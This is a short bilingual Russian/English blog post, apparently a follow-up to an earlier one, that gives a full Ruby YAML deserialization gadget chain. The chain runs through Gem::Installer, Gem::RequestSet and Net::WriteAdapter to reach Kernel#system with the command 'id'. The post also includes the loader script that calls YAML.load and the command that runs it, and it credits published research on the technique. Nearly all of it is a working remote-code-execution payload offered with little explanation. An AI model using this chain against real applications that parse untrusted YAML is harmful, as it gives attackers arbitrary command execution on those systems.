# RU
Тут не будет каких-то подробностей, считайте дополнение к прошлому посту
Сама команда выполняется в
git_setТ. е сам YAML файл выглядит так
# EN
There won't be any details, just consider it an addition to the previous post
The command itself is executed in
git_setThat is, the YAML file itself looks like this
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve# RU
А содержимое ruby скрипта будет таким
# EN
And the contents of the ruby script will be
require "yaml"
YAML.load(File.read("payload.yml"))# RU
И потом делаем
# EN
And then do
ruby deser.rb# RU
Да там будут ошибки, однако наша команда будет выполняться.
# EN
Yes, there will be mistakes, but our command will be executed.
THX:
https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/